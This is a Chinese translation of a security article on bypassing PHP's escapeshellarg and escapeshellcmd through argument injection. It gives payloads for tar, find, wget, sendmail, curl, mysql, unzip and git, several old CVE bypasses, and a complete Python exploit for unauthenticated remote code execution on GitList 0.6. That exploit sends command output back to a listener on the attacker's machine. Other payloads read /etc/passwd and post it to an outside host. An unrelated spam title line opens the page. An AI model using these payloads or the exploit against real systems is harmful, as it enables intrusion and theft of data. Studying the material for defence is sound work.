压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

利用/繞過 PHP escapeshellarg/escapeshellcmd函數

escapeshellarg和escapeshellcmd的功能

escapeshellarg

1.確保用戶只傳遞一個參數給命令
2.用戶不能指定更多的參數一個
3.用戶不能執行不同的命令

escapeshellcmd

1.確保用戶只執行一個命令
2.用戶可以指定不限數量的參數
3.用戶不能執行不同的命令

讓我們用groups去打印組里每個username成員

$username = 'myuser';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare

但是攻擊者可以在username里使用;或者||

在Linux里,這意味著第二個命令可以在第一個之后被執行

$username = 'myuser;id';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
uid=33(www-data) gid=33(www-data) groups=33(www-data)

為了防止這一點,我們使用escapeshellcmd

現在攻擊者不能允許第2個命令了

$username = 'myuser;id';
// escapeshellcmd adds  before ;
system(escapeshellcmd('groups '.$username));
=>
(nothing)

為什么會這樣?因為php內部運行了這樣的命令

$ groups myuser;id
groups: ?myuser;id”: no such user

myuser;id被當成了一個字符串
但是在這種方法中,攻擊者可以指定更多參數groups

例如,他一次檢測多個用戶

$username = 'myuser1 myuser2';
system('groups '.$username);
=>
myuser1 : myuser1 adm cdrom sudo
myuser2 : myuser2 adm cdrom sudo

假設我們希望允許每個腳本執行僅檢查一個用戶:

$username = 'myuser1 myuser2';
system('groups '.escapeshellarg($username));
=>
(noting)

為什么會這樣?因為現在$username被視為單個參數:

$ groups 'myuser1 myuser2'
groups: "myuser1 myuser2": no such user

 

已知的繞過/利用

當你想利用這些功能時,你有兩個選擇:

如果PHP版本非常老,你可以嘗試一個歷史漏洞,

否則你需要嘗試參數注入技術。

參數注入

從上一章可以看到,使用escapeshellcmd / escapeshellarg時不可能執行第二個命令。

但是我們仍然可以將參數傳遞給第一個命令。

這意味著我們也可以將新選項傳遞給命令。

利用漏洞的能力取決于目標可執行文件。

您可以在下面找到一些已知可執行文件的列表,其中包含一些可能被濫用的特定選項。

TAR

壓縮some_file/tmp/sth

$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));

創建一個空文件/tmp/exploit

$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));

FIND

/tmp目錄查找文件some_file

$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));

打印/etc/passwd內容

$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));

Escapeshellcmd和escapeshellarg

在這個配置中,我們可以傳遞第二個參數給函數。

列出/tmp目錄并忽略sth文件

$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

/tmp目錄中列出文件并忽略sth。使用長列表格式。

$arg = "sth' -l ";
// ls --ignore='exploit'\'' -l ' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

例如:WGET,下載example.php

$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));

保存.php文件到指定目錄

$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));

用.bat執行命令

打印somedir中的文件列表

$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');

并且執行whoami命令

$dir = "somedir x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');

SENDMAIL

發送mail.txtfrom@sth.com

$from = 'from@sth.com';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

打印/etc/passwd內容

$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

CURL

下載http://example.com內容

$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));

發送/etc/passwd內容到http://example.com

$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));

你可以得到文件內容,使用如下payload:

file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));

MYSQL

執行sql語句

$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

運行id命令

$sql = '! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

UNZIP

archive.zip解壓所有*.tmp文件到/tmp目錄

$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));

archive.zip解壓所有*.tmp文件到/var/www/html目錄

$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');

如果未設置LANG環境變量,則去除非ASCII字符

$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'" 
var_dump(escapeshellarg($filename));

 

經典EXP

PHP <= 4.3.6 on Windows – CVE-2004-0542

$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');

同時運行dir命令.

$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');

PHP 4 <= 4.4.8 and PHP 5 <= 5.2.5 – CVE-2008-2051

Shell需要使用GBK,EUC-KR,SJIS等可變寬度字符集的語言環境。

$text = "sth";
system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id";
system(escapeshellcmd("echo ".$text));

或者

$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));

PHP < 5.4.42, 5.5.x before 5.5.26, 5.6.x before 5.6.10 on Windows – CVE-2015-4642

額外傳遞的第三個參數(—param3)。

$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\';
$b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));

PHP 7.x before 7.0.2 – CVE-2016-1904

如果將1024mb字符串傳遞給escapeshellarg,則導致緩沖區溢出escapeshellcmd。

PHP 5.4.x < 5.4.43 / 5.5.x < 5.5.27 / 5.6.x < 5.6.11 on Windows

啟用EnableDelayedExpansion后,展開一些環境變量。

然后!STH!運行類似于%STH%

escapeshellarg不會過濾!字符
EnableDelayedExpansion以在HKLM或HKCU下的注冊表中設置:

[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)

例如:

// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);

PHP < 5.6.18

功能定義于ext/standard/exec.c,運行類似于(escapeshellcmd,eschapeshellarg,shell_exec),忽略PHP字符串的長度,并用NULL終止工作代替。

echo escapeshellarg("helloworld");
=>
hello

 

GitList RCE漏洞利用

文件src/Git/Repository.php

public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }

    $query = escapeshellarg($query);

    try {
        $results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
    } catch (RuntimeException $e) {
        return false;
    }
}

簡化后

$query = 'sth';
system('git grep -i --line-number '.escapeshellarg($query).' *');

當我們查看git grep文檔時

--open-files-in-pager[=<pager>]
Open the matching files in the pager (not the output of grep). If the pager happens to be "less" or "vi", and the user specified only one pattern, the first file is positioned at the first match automatically.

所以基本上--open-files-in-pager就像是在-exec中執行find.

$query = '--open-files-in-pager=id;';
system('git grep -i --line-number '.escapeshellarg($query).' *');

當我們輸入這些進控制臺

$ git grep -i --line-number '--open-files-in-pager=id;' *
uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
id;: 1: id;: README.md: not found

最后的exp:

import requests
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import urllib
import threading
import time
import os
import re

url = 'http://192.168.1.1/gitlist/'
command = 'id'
your_ip = '192.168.1.100'
your_port = 8001

print "GitList 0.6 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"

print "REMEMBER TO DISABLE FIREWALL"

search_url = None
r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text)

if len(repos) == 0:
    print "[-] No repos"
    os._exit(0)

for repo in repos:
    print "[+] Found repo {}".format(repo)
    r = requests.get("{}{}".format(url, repo))
    files = re.findall(r'href="[^"]+blob/master/([^"]+)"', r.text)
    for file in files:
        r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
        print "[+] Found file {}".format(file)
        print r.text[0:100]
        search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])        
        break

if not search_url:
    print "[-] No files in repo"
    os._exit(0)

print "[+] Search using {}".format(search_url)

class GetHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed_path = urlparse.urlparse(self.path)
        print "[+] Command response"
        print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
        self.send_response(200)
        self.end_headers()
        self.wfile.write("OK")
        os._exit(0)

    def log_message(self, format, *args):
        return

def exploit_server():
    server = HTTPServer((your_ip, your_port), GetHandler)
    server.serve_forever()

print "[+] Start server on {}:{}".format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = True
t.start()
print "[+] Server started"

r  = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\"http://{}:{}/?a=\".urlencode(shell_exec(\"{}\")));"'.format(your_ip, your_port, command)})

while True:
    time.sleep(1)
原文:https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html

上一篇:EISS-2018企業信息安全峰會在北京成功舉辦

下一篇:網絡安全態勢越來越糟糕嗎?未必